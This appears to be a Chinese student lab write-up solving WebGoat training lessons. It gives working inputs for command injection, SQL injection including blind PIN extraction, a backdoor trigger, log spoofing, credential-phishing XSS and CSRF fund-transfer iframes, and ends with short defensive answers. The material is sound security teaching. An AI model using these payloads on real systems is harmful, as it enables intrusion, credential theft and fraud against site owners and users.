实验内容
webgoat安装
下载webgoat-container-7.0.1-war-exec.jar(链接)
使用命令运行webgoat。
java -jar webgoat-container-7.0.1-war-exec.jar
在主机浏览器中输入
http://kaliIP:8080/WebGoat/attack
输入用户名和密码就可以登录了(初始用户名和密码均为guest)
SQL注入攻击
命令注入
技术主题
命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。这种攻击容易扩散,造成更坏的影响。但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。
技术原理
在正常的参数提交过程中,添加恶意的代码,往往能够得到以外的收获。
目标
在目标主机上执行任何系统命令。
操作方法
1.在课程页面的下拉列表中任意选择一个页面。
2.在输入框中的网页后加上"& netstat -an & ipconfig"
。
3.点击view后返回页面,在这个页面中能看到网络端口使用情况和 IP 地址。
数字型SQL注入
技术主题
SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这些风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。这种攻击容易扩散,造成更坏的影响,但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。
技术原理
在 station 字段中注入特征字符,能组合成新的 SQL 语句。
SELECT * FROM weather_data WHERE station = [station]
目标
通过注入 SQL 字符串的方式查看所有的天气数据。
操作方法
1.选择 Numeric SQL Injection 页面。
2.在输入框的城市的value值加上or 1=1
。
3.点击go即可查看所有城市天气情况。
日志欺骗
技术主题
日志欺骗类似于障眼法。
技术原理
这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
目标
使用户名为“admin” 的用户在日志中显示“成功登录”。
操作方法
1.选择 Log Spoofing 页面。
2.在用户名中输入smith Login Succeeded for username admin
,可以看到用户名信息显示在同一行。
3.在用户名注入回车(0D%)和换行符(%0A),输入Smith%0d%0aLogin Succeeded for username: admin
,可以看到用户名信息在新的一行显示。
字符串型注入
技术主题
SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这些风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。这种攻击容易扩散,造成更坏的影响,但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。
技术原理
应用程序会将您的输入带入后台的 SQL 查询语句。
目标
使用 SQL 注入绕过认证
操作步骤
1.打开Stage 1: String SQL Injection页面。
2.修改password输入长度为20。
3.用户选择 Neville,密码框输入smith' OR '1' = '1
,即可登录成功,查看所有成员列表。
数字型 SQL 注入
技术主题
SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这些风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。这种攻击容易扩散,造成更坏的影响,但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。
技术原理
应用程序会将您的输入带入后台的 SQL 查询语句
目标
执行 SQL 注入绕过认证;
通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户,浏览其 BOSS 的账户信息。
操作步骤
1.打开Stage 3: Numeric SQL Injection页面。
2.首先用 Larry,密码 larry 登录,浏览员工信息的按钮是“ViewProfile”,我们将option的value值换成其他,如 102,返回的依然是 Larry 的信息。推测这个地方数据库应该是以员工 ID 作为索引,返回的是每次查询到的第一条数据。
3.依据社会工程学猜测,老板应该是工资高的,所以为了把老板排到第一个 SQL 注入排序,将option的calue改为101 or 1=1 order by salary desc
,这样第一条数据就是Boss的数据。
字符串型注入
技术主题
SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这些风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。这种攻击容易扩散,造成更坏的影响,但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。
技术原理
基于以下查询语句构造自己的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
目标
通过 SQL 注入将所有信用卡信息显示出来。尝试的用户名是“Smith”。
操作步骤
1.打开String SQL Injection页面。
2.在输入框中输入’ or 1=1 – 或者 Smith' or 1=1 --
,即可看到用户的所用信息。
数据库后门
技术主题
创建数据库后门。
技术原理
数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
目标
利用查询的脆弱性创建触发器。
操作步骤
1.打开Database Backdoors页面。
2.使用ID 101可以查看用户信息。
3.输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
触发触发器。(分号是为了多语句执行)
数字型盲注入
技术主题
SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这些风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。这种攻击容易扩散,造成更坏的影响,但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。
技术原理
某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻 击者必须充分利用查询语句,构造子查询语句。
目标
找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交。
操作步骤
1.打开页面Blind Numeric SQL Injection。
2.输入命令101 AND 1=1 和 101 AND 1=2
,可以发现当两个条件都成立,页面返回帐号有效。否则返回帐号无效。
3。命令101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
可以测试PIN 数值是否大于 10000。
4.如果页面提示帐号有效,说明 PIN>10000 否则 PIN<=10000。不断调整数值,可以缩小判断范围,并终判断出 PIN 数值的大小。终如下语句返回帐号有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
字符型盲注入
技术主题
SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这些风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。这种攻击容易扩散,造成更坏的影响,但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。
技术原理
某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻 击者必须充分利用查询语句,构造子查询语句。
目标
找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的 数值。pin 字段类型为 varchar。输入找到的数值(终的字符串,注意拼写和大写)并提交。
操作步骤
1.打开页面Blind String SQL Injection。
2.本节攻击非常类似与上一节。最大的不同是要查询的字段是一个字符串而不是数值。因此我们同样可以通过注入的方式查找到该字段的值。查询语句非常类似上一节,如下:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
该语句使用了 SUBSTRING 方法,取得 pin 字段数值的第一个字母,并判断其是否比字 母“H”小。
3.经过多次测试(比较0-9A-Za-z等字符串)和页面的返回数据,判断出第一个字符为“J”。 同理继续判断后面的字符,最终得到值Jill。
XSS攻击
XSS 钓鱼
技术主题
在服务端对所有输入进行验证总是不错的做法。当用户输入非法 HTTP 响应时容易造成 XSS。在 XSS 的帮助下,您可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
技术原理
HTML 文档的内容是可以被篡改的,如果您有权限操作页面源代码。
目标
创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam。
操作步骤
1.打开页面Phishing with XSS。
2.一个带用户名和密码输入框的表格如下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
搜索这段代码,您就能看到页面中增加了一个表单。
3.在增加一段代码用来您在表单上输入的用户名和密码信息。
<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";} </script><form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
4.搜索这段代码,您会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录, WebGoat 会将输入的信息捕获并反馈。
存储型XSS攻击
技术概念
过滤所有用户输入是一个不错的做法,特别是那些后期会被用作 OS、脚本或数据库查询参数的输入。尤其是那些将要长期存储的内容。用户不能创建非法的消息内容,例如:可 以导致其他用户访问时载入非预期的页面或内容。
目标
创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
操作步骤
1.打开页面Stored XSS Attacks。
2.在 title 中任意输入字符。在内容中输入以下代码:
<script>alert('xss')</script> 或者<script language="javascript" type="text/javascript">alert("Ha Ha Ha");</script>
3.提交后,在下方会出现链接,可以点击浏览,然后会弹出一个对话框, 证明 XSS 攻击成功。
反射型XSS攻击
目标
在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
操作步骤
1.输入代码<script>alert("You're the most!");</script>
,点击“parse”攻击成功。
CSRF攻击
绕过 CSRF 确认
技术原理
跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
当受害者的浏览器试图打开这个页面时,它会使用指定的参数向 www.mybank.com 的 transferFunds.do 页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。该请求将包括与网站相关的任何 cookies。因此,如果用户已经通过网站的身份验证, 并有一个永久的 cookie,甚至是当前会话的 cookie,网站将没有办法区分这是否是一个从合法用户发出的请求。通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能。
目标
是向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像 的 URL 指向一个恶意请求。尝试一个包括 1*1 像素的图像,其中包含一个网址。这个 URL 应当用一个额外的参数“transferFunds= 4000”指向 CRSF 课程页面。您可以通过左侧菜单在 CSRF 课程连接上右键单击,选择复制快捷方式。无论谁收到这封邮件,并恰好已经通过身份验证,他的资金将会被转走。
操作步骤
1.打开页面Cross Site Request Forgery (CSRF)。
2.查看页面右侧Parameters中的src和menu值分别为281和900。
3.标题输入test,信息框输入:
<iframe src="attack?Screen=281&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=281&menu=900&transferFunds=CONFIRM"> </iframe>
4.点击生成的链接即可攻击成功。
参考
问题回答
1.SQL注入攻击原理,如何防御?
答:原理:把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
防御:1.利用正则表达式过滤输入。2.增加对于特殊字符串的检查,即检查非法字符串的输入。
2.XSS攻击的原理,如何防御?
答:原理:XSS即跨站脚本攻击,它允许恶意使用者将程序代码注入到网页上,其他使用者在浏览网页时就会受到不同程度的影响。这类攻击一般包含了HTML语言以及目标主机使用的脚本语言。
防御:1.在表单提交或者url参数传递前,对需要的参数进行过滤。2.检查用户输入的内容中是否有非法内容。
3.CSRF攻击原理,如何防御?
答:原理:CSRF(Cross site request forgery),即跨站请求伪造。我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
防御:1.使用验证码,每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。2.使用token,每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。